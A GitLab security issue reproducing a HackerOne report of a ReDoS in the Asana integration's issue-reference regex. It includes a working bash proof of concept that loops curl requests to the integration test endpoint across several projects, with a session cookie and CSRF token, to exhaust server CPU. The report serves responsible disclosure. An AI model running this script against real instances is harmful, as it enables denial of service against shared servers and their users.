Skip to content

ReDoS in Asana integration issue mapping when webhook is called

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2376482 by joaxcar on 2024-02-16, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Summary

This is the regexp to check for "issue references" in data parsed to send as webhook calls when using the Asana integration. The regexp is here
https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/integrations/asana.rb?ref_type=heads#L70

      issue_finder = %r{(fix\w*|clos[ei]\w*+)?\W*(?:https://app\.asana\.com/\d+/\w+/(\w+)|#(\w+))}i  

It's subject to catastrophic backtracking when given a sting of this pattern

'#'.repeat(50000)  

This regexp is called everytime a commit is made to the project (Assan integration works by "Add commit messages as comments to Asana tasks"). An attacker can either make a new commit to an attacker project every second to overload the server, but there is also another way using "Test webhook" functionality. When configuring a webhook there is a feature to test the webhook that will also send with it the latest commit message.

There is a rate limit on the test function (5 requests per project per minute) which requires the attacker to create multiple projects to be able to send the right amount of requests (depending on the architecture). The limit for 1K reference architecture is 1 request per second for availability: high. An attack using 6 projects will be able to send one request every second second and this is enough to make this architecture unresponsive.

Steps to reproduce

Use a local hosted Gitlab server

  1. Log in to Gitlab
  2. Create a new group called dos_test
  3. Create between 3 and 6 new projects in the group (name them dos1, dos2 and so on)
  4. In each project go to http://gitlab.example.com/test_dos/dos1/-/settings/integrations/asana/edit
  5. Add anything in the API field and make sure "active" is checked. Then save
  6. Go to http://gitlab.example.com/test_dos/dos1 (for each project) and create a new file in the project. Name the file a and add a commit message containing 50 000 # chars. Make the commit.
  7. Open devtools and run this command in the browser terminal
document.querySelector("[name=csrf-token]").content  

copy the output and use it as "CSRF-TOKEN" in the script on step 8
7. In devtools go to the "Application" tab and to "cookies". Copy the value of the cookie _gitlab_session and use it in the script at step 8 as "GITLAB-ID"
8. Run this command, replace URL, CSRF_TOKEN, GITLAB_ID and the PROJECTS array

###  !/bin/bash

URL="http://20.236.120.94"  
CSRF_TOKEN="5Zki01_ebEKki6bBjz-s-ZSlRVwCS_1ez-cx9qwwPMsVI5opcM7HYGDNBw9W91OL7IOTOP_HBIq9toVAR_6Zmg"  
GITLAB_ID="0eb6270bab31b8f16ce051e4f389a800"

###  Array of project names  
PROJECTS=("test_dos/dos10" "test_dos/dos11" "test_dos/dos12")

###  Duration for the loop to run: 10 minutes (600 seconds)  
DURATION=15

###  Start time  
START_TIME=$(date +%s)

###  Index to keep track of the current URL  
INDEX=1

###  Get the number of projects in the array  
PROJECT_COUNT=${#PROJECTS[@]}

###  Loop until the duration is reached  
while [ $(($(date +%s) - START_TIME)) -lt $DURATION ]; do  
    # Current URL to make the curl request to  
    PROJECT=${PROJECTS[INDEX]}

    # Make the curl request  
    curl "$URL/$PROJECT/-/settings/integrations/asana/test" \  
  -X 'PUT' \  
  -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7kqTFLAKyBteZvzK' \  
  -H "Cookie: _gitlab_session=$GITLAB_ID" \  
  -H "X-CSRF-Token: $CSRF_TOKEN" \  
  --data-raw $'------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="_method"\r\n\r\nput\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="authenticity_token"\r\n\r\sss\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="redirect_to"\r\n\r\nhttp://20.236.120.94/test_dos/dos9/-/settings/integrations/asana/edit\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="service[active]"\r\n\r\ntrue\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="service[api_key]"\r\n\r\n\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK\r\nContent-Disposition: form-data; name="service[restrict_to_branch]"\r\n\r\n\r\n------WebKitFormBoundary7kqTFLAKyBteZvzK--\r\n' &


    # Increment the index to move to the next project  
    INDEX=$((INDEX + 1))

    # Reset the index to 0 if it reaches the end of the array  
    if [ $INDEX -eq $(($PROJECT_COUNT+1)) ]; then  
        INDEX=1  
    fi

    # Wait for 1 second  
    sleep 1  
done  
  1. SSH into the gitlab server and use top or htop to view the CPU usage

Screenshot_2024-02-16_at_17.44.54.png

Here is a video showing the CPU usage

dos_poc.mov

Impact

DOS of gitlab instance and exhaustive resource consumption

What is the current bug behavior?

Asana issues mapping causes DOS system wide

What is the expected correct behavior?

Asana issues should not cause REDOS

Impact

DOS of gitlab instance and exhaustive resource consumption

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: